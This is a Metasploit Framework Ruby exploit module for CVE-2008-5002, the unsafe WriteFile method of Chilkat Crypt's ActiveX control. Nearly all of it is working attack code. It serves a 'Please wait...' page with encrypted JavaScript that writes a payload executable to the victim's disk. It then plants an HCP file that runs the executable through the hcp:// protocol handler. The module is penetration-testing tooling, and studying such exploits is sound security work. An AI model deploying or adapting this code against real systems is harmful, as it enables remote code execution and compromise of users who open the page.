Michael Schierl
910644400d
All other types of references use String arguments, but approximately half of the EDB references use Fixnums. Fix this by using Strings here too.
154 lines
3.8 KiB
Ruby
154 lines
3.8 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::EXE
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Chilkat Crypt ActiveX WriteFile Unsafe Method',
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'Description' => %q{
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This module allows attackers to execute code via the 'WriteFile' unsafe method of
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Chilkat Software Inc's Crypt ActiveX control.
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This exploit is based on shinnai's exploit that uses an hcp:// protocol URI to
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execute our payload immediately. However, this method requires that the victim user
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be browsing with Administrator. Additionally, this method will not work on newer
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versions of Windows.
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NOTE: This vulnerability is still unpatched. The latest version of Chilkat Crypt at
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the time of this writing includes ChilkatCrypt2.DLL version 4.4.4.0.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'shinnai', 'jduck' ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2008-5002' ],
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[ 'OSVDB', '49510' ],
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[ 'BID', '32073' ],
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[ 'EDB', '6963' ]
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],
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'Payload' =>
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{
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'Space' => 2048
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic', { } ],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Nov 03 2008'
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))
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@javascript_encode_key = rand_text_alpha(rand(10) + 10)
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end
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def autofilter
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false
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end
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def check_dependencies
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use_zlib
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end
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def on_request_uri(cli, request)
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if (!request.uri.match(/\?\w+/))
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send_local_redirect(cli, "?#{@javascript_encode_key}")
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return
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end
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# Set parameters
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fnname = rand_text_alpha(8+rand(8))
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si_name = "msinfo" # must be this, other names don't seem to work
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exe_name = rand_text_alpha(8+rand(8))
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hcp_path = "C:\\WINDOWS\\PCHEALTH\\HELPCTR\\System\\sysinfo\\#{si_name}.htm"
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hcp_url = "hcp:\\x2f\\x2fsystem/sysinfo/#{si_name}.htm"
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exe_path = "C:\\#{exe_name}.exe"
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# Generate HCP data
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hcp_data = %Q|<object classid='clsid:0355854A-7F23-47E2-B7C3-97EE8DD42CD8' id='compatUI'></object>
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<script language='vbscript'>
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compatUI.RunApplication 1, "#{exe_path}", 1
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</script>
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# (Re-)Generate the EXE payload
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return if ((p = regenerate_payload(cli)) == nil)
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exe_data = generate_payload_exe({ :code => p.encoded })
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# Encode variables
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hcp_str = Rex::Text.to_unescape(hcp_data)
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hcp_path.gsub!(/\\/, '\\\\\\\\')
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exe_str = Rex::Text.to_unescape(exe_data)
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exe_path.gsub!(/\\/, '\\\\\\\\')
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# Build the final JS
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js = %Q|
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function #{fnname}()
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{
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var my_unescape = unescape;
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var obj = new ActiveXObject("ChilkatCrypt2.ChilkatCrypt2");
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var exe_path = "#{exe_path}";
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var exe_str = "#{exe_str}";
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var exe_data = my_unescape(exe_str);
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obj.WriteFile(exe_path, exe_data);
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var hcp_str = "#{hcp_str}";
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var hcp_data = my_unescape(hcp_str);
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var hcp_path = "#{hcp_path}";
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obj.WriteFile(hcp_path, hcp_data);
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window.location = "#{hcp_url}";
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}
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=begin
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# Obfuscate the javascript
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opts = {
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'Strings' => false, # didn't work in this case
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'Symbols' => {
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'Variables' => %w{ my_unescape obj exe_path exe_str exe_data hcp_str hcp_data hcp_path }
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}
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}
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js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
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js.obfuscate()
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=end
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js = encrypt_js(js, @javascript_encode_key)
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# Build the final HTML
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content = %Q|<html>
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<head>
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<script language=javascript>
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#{js}
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</script>
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</head>
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<body onload="#{fnname}()">
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Please wait...
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</body>
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</html>
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print_status("Sending #{self.name}")
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send_response_html(cli, content)
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handler(cli)
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end
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end
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